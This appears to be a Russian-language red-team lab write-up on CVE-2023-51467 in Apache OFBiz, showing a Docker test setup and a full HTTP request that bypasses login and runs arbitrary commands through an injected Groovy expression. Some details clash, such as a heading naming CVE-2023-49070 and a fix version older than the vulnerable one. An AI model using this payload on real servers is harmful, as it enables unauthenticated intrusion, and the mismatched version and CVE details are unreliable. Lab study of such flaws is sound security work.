Apache OFBiz CVE-2023-51467
Введение
5 декабря 2023 года в Apache OFBiz был найден критический баг, приводящий к удаленному выполнению кода без аутентификации. Разработчик исправил ошибку в версии 18.12.10, однако после исправления появилась другая ошибка, также приводящая к обходу аутентификации с RCE путем внедрения Groovy-выражения. Этой ошибке был присвоен идентификатор CVE-2023-51467 и 9.8 баллов по CVSS.
В этой статье мы подготовим стенд и разберем уязвимость CVE-2023-51467.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Подготовка
Для эксплуатации уязвимости мы скачаем докер контейнер с уязвимой версией ПО с vulhub, как в прошлой статье:
docker pull vulhub/ofbiz:18.12.10 # - скачиваем версию 18.12.10 docker run -p 8443:8443 vulhub/ofbiz:18.12.10
Либо мы можем скачать compose-файл с репозитория GitHub и запустить контейнер командой:
docker-compose up
Разбор уязвимости CVE-2023-49070
Когда наш образ полностью запустится, мы увидим на порту 8443 следующее:
Внедрение Groovy-выражения происходит в точке /webtools/control/ProgramExport/
с указанием следующих параметров:
В результате некорректной проверки на аутентификационные данные, мы можем внедрить выражение на языке Groovy, передав параметр groovyProgram в теле запроса:
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 Host: localhost:8443 Content-Type: application/x-www-form-urlencoded Content-Length: 55 groovyProgram=throw+new+Exception('COMMAND'.execute().text);
Таким образом мы можем выполнять команды на целевом сервере:
Заключение
В этой статье мы развернули уязвимую версию Apache OFBiz 18.12.10 и рассмотрели как эксплуатировать уязвимость CVE-2023-51467. Данная ошибка была исправлена разработчиком в версии 18.09.11 следующими правками.